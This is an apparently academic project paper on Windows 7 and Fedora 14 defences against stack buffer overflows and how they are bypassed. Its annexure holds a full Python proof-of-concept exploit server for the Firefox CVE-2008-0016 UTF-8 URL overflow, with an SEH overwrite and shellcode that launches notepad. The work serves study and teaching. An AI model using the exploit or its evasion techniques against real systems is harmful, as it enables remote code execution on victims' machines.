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1 Introduction

In the modern era, ubiquitous connectivity has made the world a
global village. This connectivity has also made the attack surface
larger and the risk of getting infected through vulnerability exploita-
tion is ever increasing. In this dangerous world, the stack based buffer
overflows (BOF) are one of the five major vulnerabilities that are
being exploited in the wild [1]. As the software being written and
deployed on systems is huge and not as well tested as it should be,
the operating systems are stepping up to make exploitation of these
vulnerabilities as difficult as possible, so as to contain the attack
damage to denial of service, and minimize the risk to the whole sys-
tem. At the same time, the attackers are coming up with innovative
and sophisticated techniques to make exploitation possible and reli-
able despite the protections in place.

Goal: The aim of this project is to understand the different Oper-
ating System level protection measures against exploitation of Stack
based buffer overflow attack; the common evasion techniques used
to circumvent these protections; and to apply these techniques to
develop a reliable Proof of Concept (PoC) exploit for a known vul-
nerability in Mozilla Firefox.

The rest of this paper is organized as follows. In Section 2, we
describe the vulnerability in Mozilla Firefox [2] that we are going
to exploit, the tools used, and the testing methodology employed



in this project. In Section 3, we discuss in detail the various pro-
tection mechanisms that Microsoft [3] deployed in various versions
of Windows Operating System, the common evasion techniques to
circumvent these protections, and finally we will end up with a work-
ing exploitation demonstration for Mozilla Firefox. In Section 4, we
compare the protection mechanisms deployed in Fedora 14 [4] in
comparison to the mechanisms discussed for Windows 7, and we will
explain why the same vulnerability is not exploitable in Fedora 14.
The source code of the working exploit is given in Annexure on Page
15.

2 Background

In this section, we provide the background of buffer overflow vulnera-
bilities for the reader. We also describe the details of the vulnerability
exploited and the tools used in the project.

2.1 What are buffer overflow vulnerabilities?

Computer programs typically deal with data coming from user or
some other input interface. This data is stored in buffers allocated
with a reasonable size. However, if the data coming in is longer
than the size of buffer, the behavior of the program depends on
the programming language used and the checks places in by the pro-
grammer. Safe languages like Java check for bounds of buffer before
writing input data and run in virtual machines (JVM). However,
low level languages like C/C++ do not check for bounds and hence
it becomes the responsibility of the programmer to check for these
bounds. If bound checking is not done, extra data can overflow the
buffer and corrupt the stack. As the growth of stack and growth of
data on stack are in opposite direction, this can lead to overwriting
of the local variables, the base pointer, and the return address on
the stack.

2.2 Typical Exploitation

The aim of the attacker is to overflow the buffer in such a way so
as to redirect the control flow of the program. The attacker might



(a) Normal Buffer on Stack (b) Overflowing the Buffer

Fig. 1. A Typical Stack Based Buffer Overflow Attack [5]

want to redirect the code execution flow to some other part of same
program, some other loaded program in memory, or the attacker’s
own code provided with input (known as shellcode). The simplest
way to do this is to overwrite the return address of the function on the
stack to the location of the desired code (usually somewhere within
the buffer). When the function finishes execution, the processor will
start executing the instructions at the overwritten address, and the
system is compromised. An illustration of this attack is shown in
Figure 1.

2.3 Case Study: Buffer Overflow Vulnerability in Mozilla
Firefox

Mozilla Firefox is one of the most popular web browsers. It has a
huge customer base. Moreover, being a web browser, it is always
connected to the Internet, and provides a vulnerable point of attack
on the user’s machine even deep within layers of firewall protections



(typically allowing only web access). It is also a fairly large piece of
code, hence it is an excellent case-study for this project.

For this case-study, we have exploited the UTF-8 URL overflow

vulnerability in Mozilla Firefox 2.0.0.16, released in 2008,
and described in CVE-2008-0016 [6]. The attacker has to entice the
user to a webpage containing a specially crafted URL, which is in
UTF-8 format. When the user visits the page, the browser tries
to convert the URL in the page into UTF-16 encoding by default.
Proper bound checking is not performed while copying the URL to
the buffer using an unsafe string copy function. The attacker can
provide an arbitrary long UTF-8 URL and smash the stack using
the buffer overflow. By determining the proper offset of the return
address, the attacker can overwrite the return address of the func-
tion to point to a desired location within the buffer and thus take
over the control when the function returns.

2.4 Testing Tools

We use the following tools for the exploitation purpose:

1. Hex-view [7]: Hexadecimal view and editing
2. Python IDE [8]: For PoC writing and execution
3. IDA Pro [9]: Disassembler and Debugger
4. Immunity Debugger [10]: Disassembler and Debugger
5. arwin.c [11]: To find memory address of library functions

2.5 Testing Methodology

Our testing methodology is as follows. We write the exploit in the
form of a custom webserver written in python that serves a webpage
containing the malformed URL. We keep changing the length of
the URL until it smashes the stack and diverts the control of the
execution. We include the payload (shellcode) in the URL in UTF-
16 encoded HTML entities, so that the browser would not attempt
to convert them. To demonstrate remote code execution, our aim
is to open up a notepad instance using the Kernel32.Winexec API
call. We use IDA Pro to debug the program. We execute the Python
script and then try to access http://localhost:8080 in Firefox 2.0.
If a notepad window is opened and the program crashes, we call it
a success.



3 Windows 7 - Protections against Buffer
overflow vulnerabilities & Evasion Techniques

We study the protection mechanisms used by Microsoft Windows to
protect against the buffer overflow vulnerability attacks. For each
protection mechanism, we provide one or more evasion techniques,
and describe the results of implementing those techniques on Win-
dows 7.

3.1 Non-Executable Stack (NX)

Windows made the stack non-executable for applications compiled
with NX flag. However, executable stack is required by many appli-
cation, and there are a lot of modules that ship with applications or
come from third party and are not compiled with NX flag. Hence,
this protection is very easily bypassed. Even when an attacker can-
not find any such executable module in memory, the techniques us-
ing against Data Execution Prevention (described later) bypass this
protection.

3.2 Canaries

Canaries are the birds that miners used for safety testing of mines.
If the bird stopped chirping and died, the mine was assumed to
be full of poisonous gas. This is the very basic form of protection
that Windows employed to protect the return of execution to an
overwritten return address on stack.

Protection: A fixed (or sometimes random) value is written on to
the stack between the local variables and the return pointer. It is
assumed that either the attacker cannot guess the canary (random),
or the canary is a special character (null) past which the attacker
cannot write using a string without changing its value. Before a
function returns, the value of the canary is checked to ensure that it
has not been modified through a buffer overflow attack.

Evasion: A canary check can be evaded easily if the attacker can
overwrite the stack without changing the canary value (by guessing



(a) Canaries [12] (b) A Canary on the stack
[13]

Fig. 2. Protection: Canaries

it and overwrite the same value). Usually this is not possible. So,
we have to gain control after the canary corruption. Let’s see what
Windows does when it finds that a canary is corrupted. It does the
following:

1. Throw an exception
2. Branch execution to exception handler
3. If no custom exception handler, at least one default handler traps

the process and shuts it down

Windows keeps the exception handler’s address on stack, so that’s
a great opportunity to gain control. In fact, instead of depending on
OS response to canary corruption, we can go ahead and overwrite
local variables by corrupting the stack and get exception thrown by
invalidating code instructions using them. If there are no local vari-
ables after the buffer, we can keep writing on stack till it leads to
exception for a future instruction. Then, we can overwrite the ex-
ception handlers address as we can determine its offset from buffer
on stack through a debugger. Figure 3(a) shows the exception han-
dler’s address stored on the stack. As the offset of exception handler
is fixed, overwriting it is very easy. Thus, we have gained control of
execution despite the canary check in place.

3.3 Safe-Structured Exception Handling

To protect the overwriting of exception handler addresses, Microsoft
introduced another technique known as Safe-SEH.



(a) SEH on Stack [14] (b) SEH Chain [15]

Fig. 3. Structured Exception Handling

Protection: The basic working of Safe-SEH is as follows.

1. When a module is loaded on stack for execution, register all of its
valid exception handler addresses in a separate table in a secure
location

2. When an exception is thrown, check if the exception handler ad-
dress is found in that table

3. If yes, branch execution to exception handler. Else, trap the pro-
gram and shut it down.

Evasion: This protection limits the exception handling addresses
only to the registered exception handlers. However, if the exception
handler’s address is in another module not on the stack, it still gets
executed. To gain control now is a little bit more complex now. To
understand it, look at the way the exception handlers are organized
in stack. Figure 3(b) shows the effective SEH chain in the form of
a link list. Each node in the list stores the pointer to the address of
next exception handler and the address of current exception handler.
There are several ways to exploit this structure to gain control [16].
The most straightforward way is to find a pop,pop,return (ppr)



instruction sequence in another module and overwrite exception han-
dler’s address with that address. When the execution branches to the
exception handler, the address of next exception handler is 8 bytes
below ESP. Two pop instructions bring ESP to point towards next
exception handler. All we need to do now is to make a short jump
over the exception handler’s address and continue execution of shell-
code from there. In short, looking at a node of the linked list in
Figure 3(b), we make the following changes:

ptr to next SEH -> short jump to shellcode

ptr to ex handler -> address of external ppr

shellcode:

continue execution

Figure 4 shows that by implementing the evasion techniques de-
scribed till now, we have gained control of execution and reached the
beginning of our shellcode in Firefox on Windows 7.

Fig. 4. Gaining control of program execution

3.4 Address Space Layout Randomization

Now that we have got control of application through exception han-
dler, we want to call Kernel32.Winexec to open up notepad. To keep
the shellcode short and precise, calling OS APIs like Winexec func-
tion is very common. However, Windows uses a technique called
Address Space Layout Randomization (ASLR) to make this quite
difficult.



Protection: Windows 7 loads Kernel32 library at a different ran-
dom location each time it is rebooted. The problem is to find the
address of Kernel32.Winexec reliably when the shellcode is being
executed.

Evasion: We studied three different techniques to bypass this pro-
tection by finding the base address of Kernel32 at runtime. After
getting the base address, we can find the offset of WinExec function
from the base address by subtracting it from the address returned by
arwin.c program. This process is generic, so using similar steps we
can find address of any other API function too. The three different
techniques are described below:

1. SEH Technique [17]: Find the exception handler’s record in
SEH chain. Keep walking in the linked list using the pointer to
next SEH at each step, until we reach end of chain. The last
exception handler is a function in Kernel32. Finding the base
address of Kernel32 is very easy from here. Just keep walking
down in the memory in 64k blocks, until we hit top of kernel32.dll
(the first two bytes are 0x5a4d, look for them).

2. TopStack Technique [17]: Find the top of stack by extracting
Thread Environment Block (TEB). It is located at fs:[esi +

0x4] At 0x1c offset, there is a pointer in TEB to a function in
Kernel32. Find the base address by walking down just like we did
in SEH technique.

3. PEB Technique [17]: Go to the Process Environment Block
(PEB) Structure. It is located at fs:[0x30]. It contains ad-
dresses of all loaded modules in the process space. It has a similar
linked list structure as SEH. Get the second node in the list. It
should be the pointer to base of Kernel32.

We implemented the PEB technique in our case-study. However,
when we used this technique on Windows 7, the address returned
wasn’t correct. Traversing the linked list showed that in Windows 7,
the PEB has Kernel32s address as its third node instead of second.
Hence, we got the Kernel32’s base address at runtime, and now it is
possible to use API functions in our exploit reliably. Figure 5 shows
the results in the debugger. Register EAX contains the base address
of Kernel32 found using PEB technique.



Fig. 5. Circumventing ASLR using PEB Technique

3.5 Data Execution Prevention

Data Execution Prevention [18] tries to stop execution of user in-
jected data. It can be software based, or hardware based. In software
based DEP, the protection is decided at compile time. In hardware
based DEP, the processor takes the decision of preventing data ex-
ecution. The system on which we did our case study supports both
software and hardware based DEP. DEP prevents execution of code
from stack or heap. However, this behavior can break applications
which depend on executing data compiled at run-time, so typically
is turned on only for crucial processes and services in Windows 7.

There are three choices for Hardware DEP policy in Windows 7.

1. Opt In: Hardware DEP is turned on only for crucial services and
applications by default. All other applications must specifically
request for DEP to be turned on for them.

2. Opt Out: Hardware DEP is turned on for all applications by
default. Any application that doesn’t want DEP must specifically
request to opt out.

3. Always On: Hardware DEP is turned on for all applications by
default. No choice to opt out.

4. Always Off: Hardware DEP is turned off for all applications by
default. No choice to opt in.

As DEP can cause applications to break, the default policy is
Opt In. Therefore, for our case-study, we don’t need to evade DEP.
However, if it is turned on, the best technique to evade it is to use



Return Oriented Programming [19], commonly known as ROP. Al-
though it is quite difficult to perform, it is very effective against
DEP. The basic idea is to do one of the following:

1. setup the stack so that a portion of code disabling the protection
is executed.

2. setup the stack in such a way so that it points to various locations
in loaded libraries such that small code instructions followed by
return are performed each time, and the stack points to various
such sequences such that the combined effect is the same as the
shellcode the attacker wanted to execute. A sample of a ROP
shellcode is given in Figure 6.

Fig. 6. A sample of Return Oriented Programming (ROP) shellcode

3.6 Demonstration

After evading all the protection mechanisms, finally the exploit against
Firefox works on Windows 7, and fires up notepad when it is exe-
cuted. The screenshot of the successful PoC is shown in Figure 7.
The source code of this exploit is given in the Annexure on Page 15.

4 Comparison with OS Protection Mechanisms
in Fedora 14

Fedora 14 is the latest version of Red Hat’s distribution for Linux
Operating System. We attempted to exploit the same vulnerability
on Fedora 14, but it seems to be non-exploitable. Below, we briefly



Fig. 7. Demo: Successful PoC Exploit on Windows 7 against Mozilla Firefox 2.0

describe some of the important protection mechanisms in Fedora,
and relate them to protection mechanisms in Windows 7.

4.1 StackGuard

StackGuard [20] is a compiler based protection mechanism similar to
canaries. However, unlike Windows, the structured exception han-
dling isn’t there, and the only way we found of evading this protec-
tion is to overwrite a function pointer on the stack. However, this
can be done only in rare exploits, and the exploit in case study did
not lend itself to such exploitation.



4.2 Kernel.ExecShield

Similar to DEP, Linux Kernel provides ‘Execution Shield’ [21] to
defend against execution of user injected data. The evasion technique
for this is generally called return-to-libc and is done by setting up
the stack with desired parameters and then making a system call
(or using an ROP shellcode) achieving the desired results without
executing own shellcode.

4.3 Kernel.Randomize va space

Linux kernel also allows for randomization of loaded executable and
libraries in memory[22]. This is similar to Address-Space-Layout-
Randomization.

4.4 SELinux: Security Enhanced Linux

[23] Security Enhanced Linux (SELinux) is a policy based protection
mechanism that looks at the effective action performed by the appli-
cation and stops the execution if it doesn’t conform to the specified
policy for the application. An attacker might force an application in
to doing something it should not do, but with proper policy in place,
it can still be prevented from execution using SELinux.

5 Conclusion

In this project, we studied the different Operating System level pro-
tection measures against exploitation of Stack based buffer overflow
attack; the common evasion techniques used to circumvent these
protections; and then applied these evasion techniques to develop a
reliable Proof of Concept (PoC) exploit for a known vulnerability
in Mozilla Firefox on Windows 7. We also attempted to do this on
Fedora 14, but couldn’t succeed. The important lessons that we can
draw from this project are:

1. No protection measure ‘guarantees’ that it will protect against ex-
ploitation. The best way to stop such attacks is to write security-
aware software instead of relying on operating system for protec-
tion.



2. Combining DEP, ASLR and policy based protection (like SELinux)
can make an operating system very hardened against such at-
tacks.

3. Moving point of vulnerability to another layer doesn’t solve the
problem. Windows tried to protect return pointer overwriting by
canaries, but ended up moving the problem to overwriting of
exception handler address. The best way to protect the problem
is to solve it, not to make it more complex to exploit. A complex
hack of today is a child’s play of the next year.
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Annexure: Source Code

1 #!/usr/bin/python

2 from BaseHTTPServer import HTTPServer

3 from BaseHTTPServer import BaseHTTPRequestHandler

4 import sys

5

6 # Shellcode encoded as UTF -16 HTML entites

7 shellcode = (

8 "&#x9090 ;&# x9090 ;&# x10eb ;&# x6f6e ;&# x6574 ;&# x6170;"

9 "&#x2e64 ;&# x7865 ;&# x2665 ;&# x9090 ;&# x9090 ;&# xc48b;"

10 "&#xbb90 ;&# x32df ;&# x1111 ;&# x8190 ;&# x01f3 ;&# x1120;"

11 "&#x0311 ;&# x33c3 ;&# x6adb ;&# x5b0b ;&# xc303 ;&# x3390;"

12 "&#x90db ;&# x8990 ;&# x9018 ;&# x0b6a ;&# x2b5b ;&# x6ac3;"

13 "&#x5005 ;&# x9090 ;&# xc033 ;&# x8b64 ;&# x3040 ;&# x8b56;"

14 "&#x0c40 ;&# x708b ;&# x901c ;&# x368b ;&# x368b ;&# x468b;"

15 "&#x5e08 ;&# xc8bb ;&# x193e ;&# x8111 ;&# x01f3 ;&# x1010;"

16 "&#x0311 ;&# x90c3 ;&# xd0ff ;&# x9090 ;&# x9090;")

17

18 # Assembly listing of the shellcode

19 # ---------------------------------

20 # JMP 10

21 # "notepad.exe&"

22 # MOV EAX ,ESP

23 # MOV EBX ,111132 DF //000012 DE

24 # XOR EBX ,11112001

25 # ADD EAX ,EBX

26

27 # XOR EBX ,EBX

28 # PUSH 0B

29 # POP EBX

30 # ADD EAX ,EBX

31 # XOR EBX ,EBX

32 # MOV DWORD PTR DS:[EAX],EBX

33 # PUSH 0B

34 # POP EBX

35 # SUB EAX ,EBX

36 # PUSH 5

37 # PUSH EAX



38

39 # XOR EAX ,EAX

40 # MOV EAX ,DWORD PTR FS:[EAX +30]

41 # PUSH ESI

42 # MOV EAX ,DWORD PTR DS:[EAX+C]

43 # MOV ESI ,DWORD PTR DS:[EAX+1C]

44 # MOV ESI ,DWORD PTR DS:[ESI]

45 # MOV ESI ,DWORD PTR DS:[ESI]

46 # MOV EAX ,DWORD PTR DS:[ESI+8]

47 # POP ESI

48

49 # MOV EBX ,11193 EC8

50 # XOR EBX ,11101001

51 # ADD EAX ,EBX

52 # CALL EAX

53

54

55 # UTF -8 encoded characters

56 s = "\xC3\xBA"

57 u = unicode(s, "utf -8")

58 utf8chars = u.encode( "utf -8" )

59

60 class myRequestHandler(BaseHTTPRequestHandler):

61

62 def create_exploit_buffer(self):

63 # HTML headers

64 html = "<meta http -equiv =\" Content -Type\" content

=\" text/html;charset=utf -8\" />\n<html >\n<body

>\n"

65 html += " <!CDATA[" + "\x42\x41\x42\x41\x42\x41\x42

\x41\x42\x41\x42\x41" + "]>\n"

66

67 # Creating UTF -8 encoded URL that will trigger the

crash

68 html += "<a href =\"" + "\x01" + "xx:// abc" +

utf8chars + "/"

69

70 html += "&#x4141;" * 1702 # Windows 7 SEH offset

71 #html += "&# x9090;" * 1522 # Windows XP SP2 SEH

offset

72

73 html += "&#x9090 ;&# x10eb;" # unicode - ptr to

next seh "\xeb\x10\x90\x90";

74 html += "&#x1456 ;&# x6035;" # 0x60351456 -

address of pop/pop/ret

75

76 html +="&#x9090;" * 10

77 html += shellcode # shellcode

78 html +="&#x9090;" * 10



79

80 html += "\" >s</a>"

81 html += "\n</body >"

82 html += "\n</html >"

83

84 return html

85

86 def do_GET(self):

87 self.printCustomHTTPResponse (200)

88 if self.path == "/":

89 target=self.client_address [0]

90 html = self.create_exploit_buffer ()

91 self.wfile.write(html)

92 print "[*] Attack vector sent\n"

93

94 def printCustomHTTPResponse(self , respcode):

95 self.send_response(respcode)

96 self.send_header("Content -type", "text/html")

97 self.send_header("Server", "myRequestHandler")

98 self.end_headers ()

99

100 print "[*] Started web server\n"

101 print "[*] Waiting for client\n"

102

103 httpd = HTTPServer ((’’, 8080), myRequestHandler)

104

105 try:

106 httpd.handle_request ()

107 #httpd.serve_forever ()

108 except KeyboardInterrupt:

109 print "\n\n[*] Interupt caught , exiting .\n\n"

110 sys.exit (1)


